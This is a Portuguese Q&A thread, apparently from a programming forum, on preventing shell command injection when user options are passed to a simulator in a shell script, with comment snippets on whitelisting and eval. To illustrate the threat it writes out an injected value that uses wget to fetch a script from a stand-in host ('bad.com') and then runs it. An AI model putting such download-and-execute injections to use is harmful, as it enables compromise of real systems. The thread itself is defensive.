Eu tenho um aplicativo wrapper em que preciso permitir que o usuário especifique opções personalizadas para passar para um simulador. No entanto, quero garantir que o usuário não injete outros comandos por meio das opções do usuário. Qual é a melhor maneira de conseguir isso?
Por exemplo.
- O usuário fornece:
-a -b
- O aplicativo executa:
mysim --preset_opt -a -b
No entanto, não quero que isso aconteça:
- O usuário fornece:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- O aplicativo executa:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Atualmente, estou pensando em simplesmente '
colocar entre aspas simples todas as opções fornecidas pelo usuário e remover todas as aspas simples fornecidas pelo usuário, para que o comando no último exemplo se torne inofensivo:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Nota: O mysim
comando é executado como parte de um script de shell em um contêiner do docker / lxc. Estou executando o Ubuntu.
eval
. Estou chamando o executável mysim
dentro de um script de shell. Estou vendo a injeção acontecer se eu simplesmente copiar a sequência de opções que o usuário fornece e colar no final do mysim
comando.
-a -b
. Então, eu estou procurando garantir que comandos adicionais não sejam injetados nessa string.
[a-zA-Z0-9 _-]
parece uma escolha bastante defensiva.
eval
para executar o aplicativo? Caso contrário, a injeção não deve ocorrer:x="&& echo Doomed" ; echo $x